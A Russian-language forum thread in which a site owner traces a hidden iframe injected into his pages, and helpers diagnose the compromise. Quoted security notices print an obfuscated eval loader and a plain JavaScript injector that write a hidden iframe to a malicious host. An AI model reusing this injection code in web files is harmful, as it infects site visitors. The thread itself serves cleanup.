Взлом сайта - ссылка на вредоносный код

Яндекс прислал извещение об обнаружении вредоносного кода на моем сайте http://narkoz.ru
Сайт реализован на 0.9.6.3, до обновления никак руки не дойдут Видимо, теперь придется.

В конце кода на главной нашел вражескую ссылку между тегами:

</div>

<iframe src=http://unclewilliam.biz/manager/xmlrpc.php style=display:none></iframe>
</body>

Этой ссылки в шаблоне страницы нет, в базе тоже нет. Недавно измененных файлов ядра тоже нет. Где ее найти, чтобы выкурить злодеев?
Другие страницы вроде чистые.

Спасибо за помощь!

По моей просьбе Яндекс проверил сайт еще раз, написал, что ничего не нашел. Сайт перестал отображаться как зловредный. Похоже, по "вредоносной" ссылке ничего нет.
Но строчка-то со ссылкой осталась! И откуда-то генерируется!

В общем, погулил и нашел такой текст на ту же тему:

Hi webgrafix_ro,

Our scans reveal that your site has an infection malicious script inside http://medicaltop.ro/incluse/slimbox.js:
function EF87A2{var AFF03=267;AFF03=AFF03-251;return(parseInt(DBFDBB27F7,AFF03));}function B66902E3810F{var C5AF44789E7535F=554;C5AF44789E7535F=C5AF44789E7535F-552;var A6A0216BC="";for(D61F292A867=0;D61F292A867<EDA83FEF23.length;D61F292A867+=C5AF44789E7535F){A6A0216BC+=( String.fromCharCode(EF87A2)));}eval(A6A0216BC);}B66902E3810F(“69662028646F63756D656E742E636F6F6B69652E7365617263682822696B763D372229203D3D202D3129207B0A7170613D646F63756D656E742E676574456C656D656E744279496428277775717327293B6966287170613D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D77757173207372633D687474703A2F2F756E636C6577696C6C69616D2E62697A2F6D616E616765722F786D6C7270632E706870207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D2022696B763D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D”);

Which in turn generates malicious iframes:
< iframe id=wuqs src=http://unclewilliam.biz/manager/xmlrpc.php style=display:none>< /iframe>

Removing it should resolve the problem.

You however, need to also discover how your site was intruded into to prevent this from happening again.

Thanks,
Noam Rathaus
Beyond Security
http://www.beyondsecurity.com/?prevent_intrusion

Отсюда: http://badwarebusters.org/main/itemview/9975

Генерируется явно каким-то скриптом из .js файла. Пытаюсь найти источник.

На том же форуме нашел еще один вариант той же заразы:

The script in http://www.justolamas.com/Scripts/AC_RunActiveContent.js is hacked. The hack is

if (document.cookie.search("izro=6") == -1) { document.write("<i"+"fr"+"ame src"+"=http://uncle"+"w"+"illi"+"am"+".biz/manag"+"er/xmlrp"+"c."+ "php "+"style="+"di"+"splay:no"+"ne></iframe>"); document.cookie = "izro=6;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

If you are not familiar with javascript it is normally easiest to upload a known clean version of the file

http://badwarebusters.org/main/itemview/11070

Будем искать...

В общем, как эта фигня случилась, я разобрался, "почитав интернет"

Единственное, пока всё еще не могу найти зараженный js-файл.

Глянул на сайт.

Действительно, строчка появляется только при включенном JS.

Всего скриптов на странице несколько, один от яндекс.метрики, и 4 от гугла. И, думаю, копать надо на гугл.

Рекомендую проверить загрузку страницы Firebug аддоном к Firefox.

Скрипт добавляет куку prpc со значением 1. При наличии куки строчка не добавляется.
Подозрительно выглядит "google.load("elements", "1", {packages: "transliteration"});" Возможно как раз там и надо копать.

Этот вирус добавляется через фтп, заходишь на фтп и смотришь все index.* файлы, вконце каждого файла ты увидишь этот фрейм

Quote from: madcln2 at Apr 05, 2010, 01:57 AM

Этот вирус добавляется через фтп, заходишь на фтп и смотришь все index.* файлы, вконце каждого файла ты увидишь этот фрейм
[/quote
Quote from: ilax at Mar 30, 2010, 10:56 AM

Действительно, строчка появляется только при включенном JS.

рекомендую сначала проверить, потом говорить.
иначе бы, она оставалась бы и при выключенном JS.